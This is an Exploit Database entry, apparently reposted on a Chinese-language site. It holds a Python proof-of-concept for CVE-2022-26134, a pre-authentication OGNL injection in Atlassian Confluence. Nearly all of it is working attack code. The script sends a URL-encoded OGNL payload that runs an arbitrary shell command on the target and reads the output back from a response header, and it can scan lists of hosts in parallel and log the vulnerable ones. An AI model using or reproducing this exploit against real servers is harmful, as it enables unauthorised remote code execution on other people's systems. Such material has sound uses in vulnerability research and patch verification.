Confluence Data Center 7.18.0 – Remote Code Execution (RCE)

• Exploit Database
• 17 阅读

• 作者： Fellipe Oliveira
  日期： 2022-06-10
• 类别：

  • webapps
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/50952/

• # Exploit Title: Confluence Data Center 7.18.0 - Remote Code Execution (RCE)
  # Google Dork: N/A
  # Date: 06/006/2022
  # Exploit Author: h3v0x
  # Vendor Homepage: https://www.atlassian.com/
  # Software Link: https://www.atlassian.com/software/confluence/download-archives
  # Version: All < 7.4.17 versions before 7.18.1
  # Tested on: -
  # CVE : CVE-2022-26134
  # https://github.com/h3v0x/CVE-2022-26134
  
  #!/usr/bin/python3
  
  import sys
  import requests
  import optparse
  import multiprocessing
  
  from requests.packages import urllib3
  from requests.exceptions import MissingSchema, InvalidURL
  urllib3.disable_warnings()
  
  requestEngine = multiprocessing.Manager()
  session = requests.Session()
  
  global paramResults
  paramResults = requestEngine.list()
  globals().update(locals())
  
  def spiderXpl(url):
  globals().update(locals())
  if not url.startswith('http'):
  url='http://'+url
  
  headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
   "Connection": "close",
   "Accept-Encoding": "gzip, deflate"}
  
  try:
  response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
  if(response.status_code == 302):
  print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])
  
  inputBuffer = str(response.headers['X-Cmd-Response'])
  paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')
  else:
  pass
  
  except requests.exceptions.ConnectionError:
  print('[x] Failed to Connect: '+url)
  pass
  except multiprocessing.log_to_stderr:
  pass
  except KeyboardInterrupt:
  print('[!] Stoping exploit...')
  exit(0)
  except (MissingSchema, InvalidURL):
  pass
  
  
  def banner():
  print('[-] CVE-2022-26134')
  print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n')
  
  
  def main():
  banner()
  
  globals().update(locals())
  
  sys.setrecursionlimit(100000)
  
  if not optionsOpt.filehosts:
  url = optionsOpt.url
  spiderXpl(url)
  else:
  f = open(optionsOpt.filehosts)
  urls = map(str.strip, f.readlines())
  
  multiReq = multiprocessing.Pool(optionsOpt.threads_set)
  try:
  multiReq.map(spiderXpl, urls)
  multiReq.close()
  multiReq.join()
  except UnboundLocalError:
  pass
  except KeyboardInterrupt:
  exit(0)
  
  
  if optionsOpt.output:
  print("\n[!] Saving the output result in: %s" % optionsOpt.output)
  
  with open(optionsOpt.output, "w") as f:
  for result in paramResults:
  f.write("%s\n" % result)
  f.close()
  
  if __name__ == "__main__":
  parser = optparse.OptionParser()
  
  parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')
  parser.add_option('-f', '--file', dest="filehosts", help='example.txt')
  parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10)
  parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8)
  parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt')
  parser.add_option('-c', '--cmd', dest="command", type=str, default='id')
  optionsOpt, args = parser.parse_args()
  
  main()